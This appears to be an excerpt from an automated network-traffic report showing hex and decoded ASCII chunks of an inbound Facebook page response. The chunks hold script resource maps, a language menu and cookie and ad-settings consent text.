2022-10-08 09:34:05 UTC	88	IN	Data Raw: 65 34 5c 2f 79 74 5c 2f 6c 5c 2f 65 6e 5f 55 53 5c 2f 67 30 4b 5a 71 65 70 75 6f 63 70 2e 6a 73 3f 5f 6e 63 5f 78 3d 49 6a 33 57 70 38 6c 67 35 4b 7a 22 2c 22 6e 63 22 3a 31 7d 2c 22 43 71 52 43 4a 4b 6c 22 3a 7b 22 74 79 70 65 22 3a 22 6a 73 22 2c 22 73 72 63 22 3a 22 68 74 74 70 73 3a 5c 2f 5c 2f 73 74 61 74 69 63 2e 78 78 2e 66 62 63 64 6e 2e 6e 65 74 5c 2f 72 73 72 63 2e 70 68 70 5c 2f 76 33 69 49 6d 61 34 5c 2f 79 46 5c 2f 6c 5c 2f 65 6e 5f 55 53 5c 2f 4c 38 4e 77 5a 74 50 68 7a 78 57 2e 6a 73 3f 5f 6e 63 5f 78 3d 49 6a 33 57 70 38 6c 67 35 4b 7a 22 2c 22 6e 63 22 3a 31 7d 2c 22 67 57 4d 4a 67 54 65 22 3a 7b 22 74 79 70 65 22 3a 22 6a 73 22 2c 22 73 72 63 22 3a 22 68 74 74 70 73 3a 5c 2f 5c 2f 73 74 61 74 69 63 2e 78 78 2e 66 62 63 64 6e 2e 6e 65 74 Data Ascii: e4\/yt\/l\/en_US\/g0KZqepuocp.js?_nc_x=Ij3Wp8lg5Kz","nc":1},"CqRCJKl":{"type":"js","src":"https:\/\/static.xx.fbcdn.net\/rsrc.php\/v3iIma4\/yF\/l\/en_US\/L8NwZtPhzxW.js?_nc_x=Ij3Wp8lg5Kz","nc":1},"gWMJgTe":{"type":"js","src":"https:\/\/static.xx.fbcdn.net
2022-10-08 09:34:05 UTC	89	IN	Data Raw: 22 3a 22 6a 73 22 2c 22 73 72 63 22 3a 22 68 74 74 70 73 3a 5c 2f 5c 2f 73 74 61 74 69 63 2e 78 78 2e 66 62 63 64 6e 2e 6e 65 74 5c 2f 72 73 72 63 2e 70 68 70 5c 2f 76 33 5c 2f 79 58 5c 2f 72 5c 2f 4d 61 66 4a 64 44 43 36 75 74 38 2e 6a 73 3f 5f 6e 63 5f 78 3d 49 6a 33 57 70 38 6c 67 35 4b 7a 22 2c 22 6e 63 22 3a 31 7d 2c 22 56 76 56 46 77 38 6e 22 3a 7b 22 74 79 70 65 22 3a 22 6a 73 22 2c 22 73 72 63 22 3a 22 68 74 74 70 73 3a 5c 2f 5c 2f 73 74 61 74 69 63 2e 78 78 2e 66 62 63 64 6e 2e 6e 65 74 5c 2f 72 73 72 63 2e 70 68 70 5c 2f 76 33 5c 2f 79 78 5c 2f 72 5c 2f 59 68 2d 48 46 75 31 41 4c 5f 7a 2e 6a 73 3f 5f 6e 63 5f 78 3d 49 6a 33 57 70 38 6c 67 35 4b 7a 22 2c 22 6e 63 22 3a 31 7d 2c 22 5c 2f 72 4f 30 6c 62 6e 22 3a 7b 22 74 79 70 65 22 3a 22 6a 73 22 Data Ascii: ":"js","src":"https:\/\/static.xx.fbcdn.net\/rsrc.php\/v3\/yX\/r\/MafJdDC6ut8.js?_nc_x=Ij3Wp8lg5Kz","nc":1},"VvVFw8n":{"type":"js","src":"https:\/\/static.xx.fbcdn.net\/rsrc.php\/v3\/yx\/r\/Yh-HFu1AL_z.js?_nc_x=Ij3Wp8lg5Kz","nc":1},"\/rO0lbn":{"type":"js"
2022-10-08 09:34:05 UTC	91	IN	Data Raw: 2f 51 22 2c 22 6e 36 57 34 78 4d 48 22 2c 22 38 7a 62 45 5a 74 75 22 2c 22 5c 2f 6f 35 59 76 4f 32 22 2c 22 76 47 74 32 6d 78 7a 22 2c 22 31 33 45 77 71 6a 69 22 5d 2c 22 62 65 22 3a 31 7d 2c 22 54 6f 67 67 6c 65 72 22 3a 7b 22 72 22 3a 5b 22 6e 36 57 34 78 4d 48 22 2c 22 38 7a 62 45 5a 74 75 22 2c 22 31 33 45 77 71 6a 69 22 2c 22 76 47 74 32 6d 78 7a 22 2c 22 36 71 62 77 33 50 51 22 2c 22 6c 57 4f 76 47 54 61 22 2c 22 42 49 79 6c 4b 43 34 22 2c 22 46 6e 33 72 41 6c 37 22 5d 2c 22 62 65 22 3a 31 7d 2c 22 54 6f 6f 6c 74 69 70 22 3a 7b 22 72 22 3a 5b 22 63 68 58 77 50 72 55 22 2c 22 64 69 6f 67 56 61 75 22 2c 22 59 74 55 33 43 35 75 22 2c 22 43 47 6b 48 34 46 59 22 2c 22 70 6c 43 48 4f 72 72 22 2c 22 73 72 50 6d 64 74 34 22 2c 22 52 35 77 31 72 43 4a 22 2c Data Ascii: /Q","n6W4xMH","8zbEZtu","\/o5YvO2","vGt2mxz","13Ewqji"],"be":1},"Toggler":{"r":["n6W4xMH","8zbEZtu","13Ewqji","vGt2mxz","6qbw3PQ","lWOvGTa","BIylKC4","Fn3rAl7"],"be":1},"Tooltip":{"r":["chXwPrU","diogVau","YtU3C5u","CGkH4FY","plCHOrr","srPmdt4","R5w1rCJ",
2022-10-08 09:34:05 UTC	92	IN	Data Raw: 22 44 39 58 42 33 67 6a 22 2c 22 30 37 4a 53 69 50 30 22 2c 22 64 78 5c 2f 41 67 70 4f 22 5d 2c 22 72 64 73 22 3a 7b 22 6d 22 3a 5b 22 41 6e 69 6d 61 74 69 6f 6e 22 2c 22 56 69 73 75 61 6c 43 6f 6d 70 6c 65 74 69 6f 6e 47 61 74 69 6e 67 22 2c 22 46 62 74 4c 6f 67 67 69 6e 67 22 2c 22 49 6e 74 6c 51 74 45 76 65 6e 74 46 61 6c 63 6f 45 76 65 6e 74 22 2c 22 42 61 6e 7a 61 69 53 63 75 62 61 5f 44 45 50 52 45 43 41 54 45 44 22 2c 22 50 61 67 65 54 72 61 6e 73 69 74 69 6f 6e 73 22 5d 7d 2c 22 62 65 22 3a 31 7d 2c 22 50 68 6f 74 6f 54 61 67 67 65 72 22 3a 7b 22 72 22 3a 5b 22 34 33 66 32 4c 2b 36 22 2c 22 52 32 53 57 59 47 38 22 2c 22 63 68 58 77 50 72 55 22 2c 22 6c 6c 34 5a 47 5c 2f 79 22 2c 22 42 4b 58 30 32 50 47 22 2c 22 55 2b 7a 77 34 69 66 22 2c 22 71 31 Data Ascii: "D9XB3gj","07JSiP0","dx\/AgpO"],"rds":{"m":["Animation","VisualCompletionGating","FbtLogging","IntlQtEventFalcoEvent","BanzaiScuba_DEPRECATED","PageTransitions"]},"be":1},"PhotoTagger":{"r":["43f2L+6","R2SWYG8","chXwPrU","ll4ZG\/y","BKX02PG","U+zw4if","q1
2022-10-08 09:34:05 UTC	94	IN	Data Raw: 32 64 64 58 22 2c 22 64 69 6f 67 56 61 75 22 2c 22 59 74 55 33 43 35 75 22 2c 22 64 41 78 58 30 6a 6a 22 2c 22 73 72 50 6d 64 74 34 22 2c 22 71 71 62 39 58 4a 67 22 2c 22 52 35 77 31 72 43 4a 22 2c 22 50 66 34 6f 47 4b 44 22 2c 22 49 61 52 5c 2f 36 75 50 22 2c 22 6e 36 57 34 78 4d 48 22 2c 22 38 7a 62 45 5a 74 75 22 2c 22 58 39 6e 72 36 35 61 22 2c 22 31 33 45 77 71 6a 69 22 2c 22 5a 32 47 6a 56 75 39 22 2c 22 68 4b 59 30 51 4b 54 22 2c 22 37 39 56 39 63 56 5a 22 2c 22 4b 73 62 52 73 33 75 22 2c 22 76 47 74 32 6d 78 7a 22 2c 22 36 71 62 77 33 50 51 22 2c 22 6c 57 4f 76 47 54 61 22 2c 22 49 32 78 6d 45 79 4f 22 2c 22 68 33 5a 7a 41 6d 47 22 2c 22 42 49 79 6c 4b 43 34 22 2c 22 65 50 65 34 5a 52 36 22 2c 22 63 59 55 33 63 33 32 22 2c 22 46 6e 33 72 41 6c 37 Data Ascii: 2ddX","diogVau","YtU3C5u","dAxX0jj","srPmdt4","qqb9XJg","R5w1rCJ","Pf4oGKD","IaR\/6uP","n6W4xMH","8zbEZtu","X9nr65a","13Ewqji","Z2GjVu9","hKY0QKT","79V9cVZ","KsbRs3u","vGt2mxz","6qbw3PQ","lWOvGTa","I2xmEyO","h3ZzAmG","BIylKC4","ePe4ZR6","cYU3c32","Fn3rAl7
2022-10-08 09:34:05 UTC	95	IN	Data Raw: 67 56 61 75 22 2c 22 59 74 55 33 43 35 75 22 2c 22 48 35 62 43 74 61 54 22 2c 22 64 41 78 58 30 6a 6a 22 2c 22 73 72 50 6d 64 74 34 22 2c 22 71 71 62 39 58 4a 67 22 2c 22 52 35 77 31 72 43 4a 22 2c 22 50 66 34 6f 47 4b 44 22 2c 22 49 61 52 5c 2f 36 75 50 22 2c 22 39 79 48 75 61 59 74 22 2c 22 6e 36 57 34 78 4d 48 22 2c 22 48 45 4b 32 34 75 67 22 2c 22 38 7a 62 45 5a 74 75 22 2c 22 5c 2f 6f 30 47 44 55 6d 22 2c 22 4a 41 46 7a 4d 4f 71 22 2c 22 58 39 6e 72 36 35 61 22 2c 22 31 33 45 77 71 6a 69 22 2c 22 5a 32 47 6a 56 75 39 22 2c 22 68 4b 59 30 51 4b 54 22 2c 22 37 39 56 39 63 56 5a 22 2c 22 4b 73 62 52 73 33 75 22 2c 22 76 47 74 32 6d 78 7a 22 2c 22 36 71 62 77 33 50 51 22 2c 22 6c 57 4f 76 47 54 61 22 2c 22 49 32 78 6d 45 79 4f 22 2c 22 68 33 5a 7a 41 6d Data Ascii: gVau","YtU3C5u","H5bCtaT","dAxX0jj","srPmdt4","qqb9XJg","R5w1rCJ","Pf4oGKD","IaR\/6uP","9yHuaYt","n6W4xMH","HEK24ug","8zbEZtu","\/o0GDUm","JAFzMOq","X9nr65a","13Ewqji","Z2GjVu9","hKY0QKT","79V9cVZ","KsbRs3u","vGt2mxz","6qbw3PQ","lWOvGTa","I2xmEyO","h3ZzAm
2022-10-08 09:34:05 UTC	97	IN	Data Raw: 4b 44 22 2c 22 49 61 52 5c 2f 36 75 50 22 2c 22 38 7a 62 45 5a 74 75 22 2c 22 4a 41 46 7a 4d 4f 71 22 2c 22 37 39 56 39 63 56 5a 22 2c 22 36 71 62 77 33 50 51 22 2c 22 46 6e 33 72 41 6c 37 22 2c 22 30 37 4a 53 69 50 30 22 5d 2c 22 62 65 22 3a 31 7d 2c 22 58 55 49 44 69 61 6c 6f 67 54 69 74 6c 65 2e 72 65 61 63 74 22 3a 7b 22 72 22 3a 5b 22 63 67 66 32 64 64 58 22 2c 22 59 74 55 33 43 35 75 22 2c 22 64 41 78 58 30 6a 6a 22 2c 22 73 72 50 6d 64 74 34 22 2c 22 71 71 62 39 58 4a 67 22 2c 22 52 35 77 31 72 43 4a 22 2c 22 49 61 52 5c 2f 36 75 50 22 2c 22 6e 36 57 34 78 4d 48 22 2c 22 38 7a 62 45 5a 74 75 22 2c 22 31 33 45 77 71 6a 69 22 2c 22 68 4b 59 30 51 4b 54 22 2c 22 37 39 56 39 63 56 5a 22 2c 22 76 47 74 32 6d 78 7a 22 2c 22 36 71 62 77 33 50 51 22 2c 22 Data Ascii: KD","IaR\/6uP","8zbEZtu","JAFzMOq","79V9cVZ","6qbw3PQ","Fn3rAl7","07JSiP0"],"be":1},"XUIDialogTitle.react":{"r":["cgf2ddX","YtU3C5u","dAxX0jj","srPmdt4","qqb9XJg","R5w1rCJ","IaR\/6uP","n6W4xMH","8zbEZtu","13Ewqji","hKY0QKT","79V9cVZ","vGt2mxz","6qbw3PQ","
2022-10-08 09:34:05 UTC	98	IN	Data Raw: 69 74 63 68 65 64 5f 6d 65 74 61 5f 72 65 66 65 72 72 65 72 5f 70 6f 6c 69 63 79 22 3a 22 6f 72 69 67 69 6e 22 2c 22 6e 6f 6e 5f 6c 69 6e 6b 73 68 69 6d 5f 6c 6e 66 62 5f 6d 6f 64 65 22 3a 22 69 65 22 2c 22 6c 69 6e 6b 5f 72 65 61 63 74 5f 64 65 66 61 75 6c 74 5f 68 61 73 68 22 3a 22 41 54 30 4f 79 36 35 7a 52 70 44 52 6a 4c 4d 74 72 48 30 59 5f 78 46 37 50 75 44 39 6a 62 46 78 70 36 53 4d 43 51 4b 45 50 56 51 59 59 53 42 31 34 68 4e 4f 56 49 44 33 44 65 72 6a 66 69 33 78 4f 4c 34 6c 74 4a 72 63 54 4a 6d 67 4f 2d 30 71 67 59 62 6a 31 4d 62 7a 48 54 39 64 6d 61 77 77 58 47 68 33 63 77 37 4d 36 46 55 4f 42 46 44 45 32 5a 62 5a 43 49 62 4f 46 56 72 4f 4c 61 39 36 45 4d 68 36 77 5f 55 42 4c 31 6c 4f 56 77 48 71 31 44 36 63 72 67 22 2c 22 75 6e 74 72 75 73 74 Data Ascii: itched_meta_referrer_policy":"origin","non_linkshim_lnfb_mode":"ie","link_react_default_hash":"AT0Oy65zRpDRjLMtrH0Y_xF7PuD9jbFxp6SMCQKEPVQYYSB14hNOVID3Derjfi3xOL4ltJrcTJmgO-0qgYbj1MbzHT9dmawwXGh3cw7M6FUOBFDE2ZbZCIbOFVrOLa96EMh6w_UBL1lOVwHq1D6crg","untrust
2022-10-08 09:34:05 UTC	99	IN	Data Raw: 36 32 64 31 0d 0a 6e 73 74 61 6e 63 65 73 22 3a 5b 5b 22 5f 5f 69 6e 73 74 5f 30 32 31 38 32 30 31 35 5f 30 5f 30 5f 4f 2b 22 2c 5b 22 53 65 6c 65 63 74 61 62 6c 65 4d 65 6e 75 22 2c 22 4d 65 6e 75 53 65 6c 65 63 74 61 62 6c 65 49 74 65 6d 22 2c 22 5f 5f 6d 61 72 6b 75 70 5f 33 33 31 30 63 30 37 39 5f 30 5f 30 5f 30 6b 22 2c 22 48 54 4d 4c 22 2c 22 5f 5f 6d 61 72 6b 75 70 5f 33 33 31 30 63 30 37 39 5f 30 5f 31 5f 63 42 22 2c 22 5f 5f 6d 61 72 6b 75 70 5f 33 33 31 30 63 30 37 39 5f 30 5f 32 5f 74 6a 22 2c 22 5f 5f 6d 61 72 6b 75 70 5f 33 33 31 30 63 30 37 39 5f 30 5f 33 5f 39 45 22 2c 22 5f 5f 6d 61 72 6b 75 70 5f 33 33 31 30 63 30 37 39 5f 30 5f 34 5f 53 79 22 2c 22 5f 5f 6d 61 72 6b 75 70 5f 33 33 31 30 63 30 37 39 5f 30 5f 35 5f 4f 5c 2f 22 2c 22 5f 5f Data Ascii: 62d1nstances":[["__inst_02182015_0_0_O+",["SelectableMenu","MenuSelectableItem","__markup_3310c079_0_0_0k","HTML","__markup_3310c079_0_1_cB","__markup_3310c079_0_2_tj","__markup_3310c079_0_3_9E","__markup_3310c079_0_4_Sy","__markup_3310c079_0_5_O\/","__
2022-10-08 09:34:05 UTC	101	IN	Data Raw: 75 70 5f 33 33 31 30 63 30 37 39 5f 30 5f 32 5f 74 6a 22 7d 2c 22 6c 61 62 65 6c 22 3a 22 44 65 75 74 73 63 68 22 2c 22 74 69 74 6c 65 22 3a 22 22 2c 22 63 6c 61 73 73 4e 61 6d 65 22 3a 22 68 65 61 64 65 72 49 74 65 6d 22 7d 2c 7b 22 63 6c 61 73 73 22 3a 22 68 65 61 64 65 72 49 74 65 6d 22 2c 22 76 61 6c 75 65 22 3a 22 65 6e 5f 47 42 22 2c 22 73 65 6c 65 63 74 65 64 22 3a 66 61 6c 73 65 2c 22 63 74 6f 72 22 3a 7b 22 5f 5f 6d 22 3a 22 4d 65 6e 75 53 65 6c 65 63 74 61 62 6c 65 49 74 65 6d 22 7d 2c 22 6d 61 72 6b 75 70 22 3a 7b 22 5f 5f 6d 22 3a 22 5f 5f 6d 61 72 6b 75 70 5f 33 33 31 30 63 30 37 39 5f 30 5f 33 5f 39 45 22 7d 2c 22 6c 61 62 65 6c 22 3a 22 45 6e 67 6c 69 73 68 20 28 55 4b 29 22 2c 22 74 69 74 6c 65 22 3a 22 22 2c 22 63 6c 61 73 73 4e 61 6d 65 Data Ascii: up_3310c079_0_2_tj"},"label":"Deutsch","title":"","className":"headerItem"},{"class":"headerItem","value":"en_GB","selected":false,"ctor":{"__m":"MenuSelectableItem"},"markup":{"__m":"__markup_3310c079_0_3_9E"},"label":"English (UK)","title":"","className
2022-10-08 09:34:05 UTC	102	IN	Data Raw: 65 64 22 3a 66 61 6c 73 65 2c 22 63 74 6f 72 22 3a 7b 22 5f 5f 6d 22 3a 22 4d 65 6e 75 53 65 6c 65 63 74 61 62 6c 65 49 74 65 6d 22 7d 2c 22 6d 61 72 6b 75 70 22 3a 7b 22 5f 5f 6d 22 3a 22 5f 5f 6d 61 72 6b 75 70 5f 33 33 31 30 63 30 37 39 5f 30 5f 61 5f 39 63 22 7d 2c 22 6c 61 62 65 6c 22 3a 22 4e 65 64 65 72 6c 61 6e 64 73 22 2c 22 74 69 74 6c 65 22 3a 22 22 2c 22 63 6c 61 73 73 4e 61 6d 65 22 3a 22 68 65 61 64 65 72 49 74 65 6d 22 7d 2c 7b 22 63 6c 61 73 73 22 3a 22 68 65 61 64 65 72 49 74 65 6d 22 2c 22 76 61 6c 75 65 22 3a 22 6e 62 5f 4e 4f 22 2c 22 73 65 6c 65 63 74 65 64 22 3a 66 61 6c 73 65 2c 22 63 74 6f 72 22 3a 7b 22 5f 5f 6d 22 3a 22 4d 65 6e 75 53 65 6c 65 63 74 61 62 6c 65 49 74 65 6d 22 7d 2c 22 6d 61 72 6b 75 70 22 3a 7b 22 5f 5f 6d 22 3a Data Ascii: ed":false,"ctor":{"__m":"MenuSelectableItem"},"markup":{"__m":"__markup_3310c079_0_a_9c"},"label":"Nederlands","title":"","className":"headerItem"},{"class":"headerItem","value":"nb_NO","selected":false,"ctor":{"__m":"MenuSelectableItem"},"markup":{"__m":
2022-10-08 09:34:05 UTC	103	IN	Data Raw: 3a 22 22 2c 22 63 6c 61 73 73 4e 61 6d 65 22 3a 22 68 65 61 64 65 72 49 74 65 6d 22 7d 2c 7b 22 63 6c 61 73 73 22 3a 22 68 65 61 64 65 72 49 74 65 6d 22 2c 22 76 61 6c 75 65 22 3a 22 76 69 5f 56 4e 22 2c 22 73 65 6c 65 63 74 65 64 22 3a 66 61 6c 73 65 2c 22 63 74 6f 72 22 3a 7b 22 5f 5f 6d 22 3a 22 4d 65 6e 75 53 65 6c 65 63 74 61 62 6c 65 49 74 65 6d 22 7d 2c 22 6d 61 72 6b 75 70 22 3a 7b 22 5f 5f 6d 22 3a 22 5f 5f 6d 61 72 6b 75 70 5f 33 33 31 30 63 30 37 39 5f 30 5f 69 5f 78 34 22 7d 2c 22 6c 61 62 65 6c 22 3a 22 54 69 5c 75 31 65 62 66 6e 67 20 56 69 5c 75 31 65 63 37 74 22 2c 22 74 69 74 6c 65 22 3a 22 22 2c 22 63 6c 61 73 73 4e 61 6d 65 22 3a 22 68 65 61 64 65 72 49 74 65 6d 22 7d 2c 7b 22 63 6c 61 73 73 22 3a 22 68 65 61 64 65 72 49 74 65 6d 22 2c Data Ascii: :"","className":"headerItem"},{"class":"headerItem","value":"vi_VN","selected":false,"ctor":{"__m":"MenuSelectableItem"},"markup":{"__m":"__markup_3310c079_0_i_x4"},"label":"Ti\u1ebfng Vi\u1ec7t","title":"","className":"headerItem"},{"class":"headerItem",
2022-10-08 09:34:05 UTC	105	IN	Data Raw: 22 63 6c 61 73 73 4e 61 6d 65 22 3a 22 68 65 61 64 65 72 49 74 65 6d 22 7d 2c 7b 22 63 6c 61 73 73 22 3a 22 68 65 61 64 65 72 49 74 65 6d 22 2c 22 76 61 6c 75 65 22 3a 22 68 69 5f 49 4e 22 2c 22 73 65 6c 65 63 74 65 64 22 3a 66 61 6c 73 65 2c 22 63 74 6f 72 22 3a 7b 22 5f 5f 6d 22 3a 22 4d 65 6e 75 53 65 6c 65 63 74 61 62 6c 65 49 74 65 6d 22 7d 2c 22 6d 61 72 6b 75 70 22 3a 7b 22 5f 5f 6d 22 3a 22 5f 5f 6d 61 72 6b 75 70 5f 33 33 31 30 63 30 37 39 5f 30 5f 70 5f 65 66 22 7d 2c 22 6c 61 62 65 6c 22 3a 22 5c 75 30 39 33 39 5c 75 30 39 33 66 5c 75 30 39 32 38 5c 75 30 39 34 64 5c 75 30 39 32 36 5c 75 30 39 34 30 22 2c 22 74 69 74 6c 65 22 3a 22 22 2c 22 63 6c 61 73 73 4e 61 6d 65 22 3a 22 68 65 61 64 65 72 49 74 65 6d 22 7d 2c 7b 22 63 6c 61 73 73 22 3a 22 Data Ascii: "className":"headerItem"},{"class":"headerItem","value":"hi_IN","selected":false,"ctor":{"__m":"MenuSelectableItem"},"markup":{"__m":"__markup_3310c079_0_p_ef"},"label":"\u0939\u093f\u0928\u094d\u0926\u0940","title":"","className":"headerItem"},{"class":"
2022-10-08 09:34:05 UTC	106	IN	Data Raw: 2c 7b 22 69 64 22 3a 22 75 5f 30 5f 36 5f 72 59 22 2c 22 62 65 68 61 76 69 6f 72 73 22 3a 5b 7b 22 5f 5f 6d 22 3a 22 58 55 49 4d 65 6e 75 57 69 74 68 53 71 75 61 72 65 43 6f 72 6e 65 72 22 7d 5d 2c 22 63 6c 61 73 73 4e 61 6d 65 22 3a 22 5f 35 37 64 69 22 2c 22 6d 61 78 68 65 69 67 68 74 22 3a 35 30 30 2c 22 74 68 65 6d 65 22 3a 7b 22 5f 5f 6d 22 3a 22 58 55 49 4d 65 6e 75 54 68 65 6d 65 22 7d 7d 5d 2c 33 5d 2c 5b 22 5f 5f 69 6e 73 74 5f 65 61 64 31 65 35 36 35 5f 30 5f 30 5f 57 37 22 2c 5b 22 44 69 61 6c 6f 67 58 22 2c 22 4c 61 79 65 72 46 61 64 65 4f 6e 48 69 64 65 22 2c 22 44 69 61 6c 6f 67 48 69 64 65 4f 6e 53 75 63 63 65 73 73 22 2c 22 4c 61 79 65 72 48 69 64 65 4f 6e 54 72 61 6e 73 69 74 69 6f 6e 22 2c 22 4c 61 79 65 72 52 65 6d 6f 76 65 4f 6e 48 69 Data Ascii: ,{"id":"u_0_6_rY","behaviors":[{"__m":"XUIMenuWithSquareCorner"}],"className":"_57di","maxheight":500,"theme":{"__m":"XUIMenuTheme"}}],3],["__inst_ead1e565_0_0_W7",["DialogX","LayerFadeOnHide","DialogHideOnSuccess","LayerHideOnTransition","LayerRemoveOnHi
2022-10-08 09:34:05 UTC	108	IN	Data Raw: 6c 22 3a 22 5c 75 30 30 33 43 64 69 76 3e 5c 75 30 30 33 43 64 69 76 20 63 6c 61 73 73 3d 5c 22 5f 34 2d 69 32 20 5f 70 69 67 20 5f 39 6f 2d 63 20 5f 39 70 6c 6c 20 5f 35 30 66 34 5c 22 3e 5c 75 30 30 33 43 64 69 76 20 63 6c 61 73 73 3d 5c 22 5f 39 78 6c 32 5c 22 3e 5c 75 30 30 33 43 64 69 76 20 63 6c 61 73 73 3d 5c 22 5f 39 78 6c 33 5c 22 3e 5c 75 30 30 33 43 69 20 63 6c 61 73 73 3d 5c 22 69 6d 67 20 73 70 5f 65 49 49 63 61 5a 41 55 65 58 71 20 73 78 5f 39 37 66 36 38 36 5c 22 3e 5c 75 30 30 33 43 5c 2f 69 3e 5c 75 30 30 33 43 64 69 76 20 63 6c 61 73 73 3d 5c 22 5f 36 61 20 75 69 50 6f 70 6f 76 65 72 5c 22 20 69 64 3d 5c 22 75 5f 30 5f 37 5f 55 70 5c 22 3e 5c 75 30 30 33 43 61 20 72 6f 6c 65 3d 5c 22 62 75 74 74 6f 6e 5c 22 20 63 6c 61 73 73 3d 5c 22 5f Data Ascii: l":"\u003Cdiv>\u003Cdiv class=\"_4-i2 _pig _9o-c _9pll _50f4\">\u003Cdiv class=\"_9xl2\">\u003Cdiv class=\"_9xl3\">\u003Ci class=\"img sp_eIIcaZAUeXq sx_97f686\">\u003C\/i>\u003Cdiv class=\"_6a uiPopover\" id=\"u_0_7_Up\">\u003Ca role=\"button\" class=\"_
2022-10-08 09:34:05 UTC	109	IN	Data Raw: 6e 74 5c 75 30 30 33 43 5c 2f 64 69 76 3e 5c 75 30 30 33 43 5c 2f 64 69 76 3e 5c 75 30 30 33 43 5c 2f 64 69 76 3e 5c 75 30 30 33 43 64 69 76 20 63 6c 61 73 73 3d 5c 22 5f 39 78 6f 30 5c 22 3e 5c 75 30 30 33 43 5c 2f 64 69 76 3e 5c 75 30 30 33 43 64 69 76 3e 5c 75 30 30 33 43 64 69 76 3e 46 6f 72 20 61 64 76 65 72 74 69 73 69 6e 67 20 61 6e 64 20 6d 65 61 73 75 72 65 6d 65 6e 74 20 73 65 72 76 69 63 65 73 20 6f 66 66 20 6f 66 20 46 61 63 65 62 6f 6f 6b 20 50 72 6f 64 75 63 74 73 2c 20 61 6e 61 6c 79 74 69 63 73 2c 20 61 6e 64 20 74 6f 20 70 72 6f 76 69 64 65 20 63 65 72 74 61 69 6e 20 66 65 61 74 75 72 65 73 20 61 6e 64 20 69 6d 70 72 6f 76 65 20 6f 75 72 20 73 65 72 76 69 63 65 73 20 66 6f 72 20 79 6f 75 2c 20 77 65 20 75 73 65 20 74 6f 6f 6c 73 20 66 72 Data Ascii: nt\u003C\/div>\u003C\/div>\u003C\/div>\u003Cdiv class=\"_9xo0\">\u003C\/div>\u003Cdiv>\u003Cdiv>For advertising and measurement services off of Facebook Products, analytics, and to provide certain features and improve our services for you, we use tools fr
2022-10-08 09:34:05 UTC	111	IN	Data Raw: 61 6e 3e 5c 75 30 30 33 43 5c 2f 64 69 76 3e 5c 75 30 30 33 43 5c 2f 62 75 74 74 6f 6e 3e 5c 75 30 30 33 43 64 69 76 20 63 6c 61 73 73 3d 5c 22 5f 39 6e 67 62 20 5f 39 6e 67 61 5c 22 3e 5c 75 30 30 33 43 64 69 76 3e 5c 75 30 30 33 43 70 20 63 6c 61 73 73 3d 5c 22 5f 39 6f 2d 6d 5c 22 3e 49 66 20 79 6f 75 20 68 61 76 65 20 61 20 46 61 63 65 62 6f 6f 6b 20 61 63 63 6f 75 6e 74 2c 20 79 6f 75 20 63 61 6e 20 6d 61 6e 61 67 65 20 68 6f 77 20 64 69 66 66 65 72 65 6e 74 20 64 61 74 61 20 69 73 20 75 73 65 64 20 74 6f 20 70 65 72 73 6f 6e 61 6c 69 7a 65 20 61 64 73 20 77 69 74 68 20 74 68 65 73 65 20 74 6f 6f 6c 73 2e 5c 75 30 30 33 43 5c 2f 70 3e 5c 75 30 30 33 43 70 20 63 6c 61 73 73 3d 5c 22 5f 39 73 69 2d 5c 22 3e 41 64 20 73 65 74 74 69 6e 67 73 5c 75 30 30 Data Ascii: an>\u003C\/div>\u003C\/button>\u003Cdiv class=\"_9ngb _9nga\">\u003Cdiv>\u003Cp class=\"_9o-m\">If you have a Facebook account, you can manage how different data is used to personalize ads with these tools.\u003C\/p>\u003Cp class=\"_9si-\">Ad settings\u00
2022-10-08 09:34:05 UTC	112	IN	Data Raw: 67 61 6e 69 7a 61 74 69 6f 6e 73 20 73 68 61 72 65 20 77 69 74 68 20 75 73 20 61 62 6f 75 74 20 79 6f 75 72 20 69 6e 74 65 72 61 63 74 69 6f 6e 73 20 77 69 74 68 20 74 68 65 6d 2c 20 73 75 63 68 20 61 73 20 76 69 73 69 74 69 6e 67 20 74 68 65 69 72 20 61 70 70 73 20 6f 72 20 77 65 62 73 69 74 65 73 2e 20 54 68 65 79 20 75 73 65 20 6f 75 72 20 5c 75 30 30 33 43 61 20 68 72 65 66 3d 5c 22 68 74 74 70 73 3a 5c 2f 5c 2f 77 77 77 2e 66 61 63 65 62 6f 6f 6b 2e 63 6f 6d 5c 2f 68 65 6c 70 5c 2f 32 32 33 30 35 30 33 37 39 37 32 36 35 31 35 36 5c 22 3e 42 75 73 69 6e 65 73 73 20 54 6f 6f 6c 73 5c 75 30 30 33 43 5c 2f 61 3e 2c 20 73 75 63 68 20 61 73 20 46 61 63 65 62 6f 6f 6b 20 4c 6f 67 69 6e 20 6f 72 20 46 61 63 65 62 6f 6f 6b 20 50 69 78 65 6c 2c 20 74 6f 20 73 Data Ascii: ganizations share with us about your interactions with them, such as visiting their apps or websites. They use our \u003Ca href=\"https:\/\/www.facebook.com\/help\/2230503797265156\">Business Tools\u003C\/a>, such as Facebook Login or Facebook Pixel, to s
2022-10-08 09:34:05 UTC	114	IN	Data Raw: 6e 67 20 41 6c 6c 69 61 6e 63 65 5c 75 30 30 33 43 5c 2f 61 3e 20 69 6e 20 74 68 65 20 55 53 2c 20 74 68 65 20 5c 75 30 30 33 43 61 20 68 72 65 66 3d 5c 22 68 74 74 70 73 3a 5c 2f 5c 2f 6c 2e 66 61 63 65 62 6f 6f 6b 2e 63 6f 6d 5c 2f 6c 2e 70 68 70 3f 75 3d 68 74 74 70 73 5c 75 30 30 32 35 33 41 5c 75 30 30 32 35 32 46 5c 75 30 30 32 35 32 46 79 6f 75 72 61 64 63 68 6f 69 63 65 73 2e 63 61 5c 75 30 30 32 35 32 46 26 61 6d 70 3b 68 3d 41 54 31 41 45 74 4a 4a 4c 76 69 48 66 50 43 7a 53 4f 52 34 33 37 32 31 50 4c 52 44 52 4c 79 44 77 4c 7a 55 46 56 72 71 41 70 4d 6a 32 39 42 74 78 44 41 4a 56 6a 38 6e 66 69 59 6c 63 6c 38 75 75 6f 6b 56 79 37 6a 59 58 5f 69 6f 70 42 4e 6c 73 67 67 70 4e 65 51 75 66 76 42 5a 35 45 64 5a 43 70 67 65 65 66 37 71 6b 69 30 32 65 Data Ascii: ng Alliance\u003C\/a> in the US, the \u003Ca href=\"https:\/\/l.facebook.com\/l.php?u=https\u00253A\u00252F\u00252Fyouradchoices.ca\u00252F&h=AT1AEtJJLviHfPCzSOR43721PLRDRLyDwLzUFVrqApMj29BtxDAJVj8nfiYlcl8uuokVy7jYX_iopBNlsggpNeQufvBZ5EdZCpgeef7qki02e
